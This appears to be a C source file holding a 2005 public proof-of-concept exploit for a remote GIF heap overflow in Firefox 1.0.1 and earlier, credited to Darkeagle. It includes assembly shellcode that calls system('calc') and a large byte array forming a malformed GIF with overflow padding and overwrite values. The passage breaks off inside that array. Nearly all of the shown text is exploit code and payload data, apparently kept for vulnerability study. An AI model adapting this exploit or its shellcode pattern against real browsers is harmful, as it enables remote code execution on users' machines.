lilbool/vuln-code-analysis
0
1/*
2
3 Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit
4
5 by Darkeagle of uKt Researcherz
6 darkeagle [at] linkin-park [dot] cc
7
8 greetz to all my friends }8{)
9
10 and... Happy Birthday uKt research team }8{) 1 year }8{)
11
12 http://unl0ck.org
13
14 !!!-script kiddie edition-!!!
15
16 ^^^^^^^^^^^^^^^^^^^^
17 U U k kk ttttttt
18 U U k k tt
19 U U k kk tt (c) '04-'05 55k7 researcherz
20 UUU k kk tt
21 ^^^^^^^^^^^^^^^^^^^^^^^^^
22
23 successfully tested on: Notebook LogyCom Expert Intel Pentium IV 2.8 Ghz, 256RAM, 40GB, 64mb Video SiS,
24 WinXP SP1 RuS Pirated Edition
25 exploit calls Standart Windows Calculator
26
27 shellcode:
28
29-----------------------
30xor eax, eax
31push eax
32push 0x636c6163 ; calc
33push esp
34pop ebx
35push eax
36push ebx
37mov ecx, 0x77c18044 ; moved system() in %ecx
38call ecx ; call system()
39-----------------------
40
41btw c0wZ happy birthday }:@
42
43 ,-"""-,
44 )~ ~( ------------------------------------------------
45 .-'( )`-, | m00[ov3r]: |
46 `~o`d\ /b`o~` | "i would drop you if you'll release exploit" |
47 | | | |
48 (6___6) | hahaha m00 wanna ownZ j00 <:@ |
49 `--U` | |
50 ------------------------------------------------
51
52
53*/
54
55#include <stdio.h>
56#include <string.h>
57#include <windows.h>
58
59#define FILENAME "firesnake.gif"
60
61unsigned char data1[] = {
62 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x10, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0x0B,
63 0x4E, 0x45, 0x54, 0x53, 0x43, 0x41, 0x50, 0x45, 0x32, 0x2E, 0x30, 0x55, 0x02, 0x00, 0x10, 0x00,
64 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
65 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
66 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
67 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
68 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
69 0x41, 0x07, 0x02, 0xF8, 0xFF, 0xFF, 0xFF, 0x41, 0x41, 0x64, 0x02, 0x14, 0x00, 0x00, 0x00, 0xCC,
70 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
71 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
72 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
73 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
74 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
75 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
76 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
77 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
78 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
79 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
80 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
81 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x61, 0x61,
82 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
83 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
84 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
85 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
86 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
87 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
88 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
89 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
90 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
91 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
92 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
93 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
94 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
95 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
96 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
97 0x61, 0x61, 0x61, 0x61, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
98 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
99 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
100 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x42, 0x42, 0x60, 0x00, 0x90, 0x00, 0x42, 0x42, 0x42,
101 0x42, 0x30, 0x02, 0x02, 0x00, 0x00, 0xE0, 0xFD, 0x7F, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
102 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
103 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
104 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
105 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
106 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
107 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
108 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
109 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
110 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
111 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
112 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
113 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
114 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
115 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
116 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
117 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
118 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
119 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
120 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
121 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
122 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
123 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
124 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
125 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
126 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
127 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
128 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
129 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
130 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
131 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
132 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
133 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
134 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
135 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
136 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
137 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
138 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
139 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
140 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
141 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
142 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
143 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
144 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
145 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
146 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
147 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
148 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
149 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
150 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
151 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
152 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
153 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
154 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
155 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
156 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
157 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
158 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
159 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
160 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
161 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
162 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
163 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
164 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
165 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
166 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
167 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
168 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
169 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
170 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
171 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
172 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
173 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
174 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
175 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
176 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
177 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
178 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
179 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
180 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
181 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
182 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
183 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
184 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
185 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
186 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
187 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
188 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
189 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
190 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
191 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
192 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
193 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
194 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
195 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
196 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
197 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
198 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
199 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
200 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
201 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
202 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
203 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
204 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
205 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
206 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
207 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
208 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
209 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
210 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
211 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
212 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
213 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
214 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
215 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
216 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
217 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
218 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
219 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
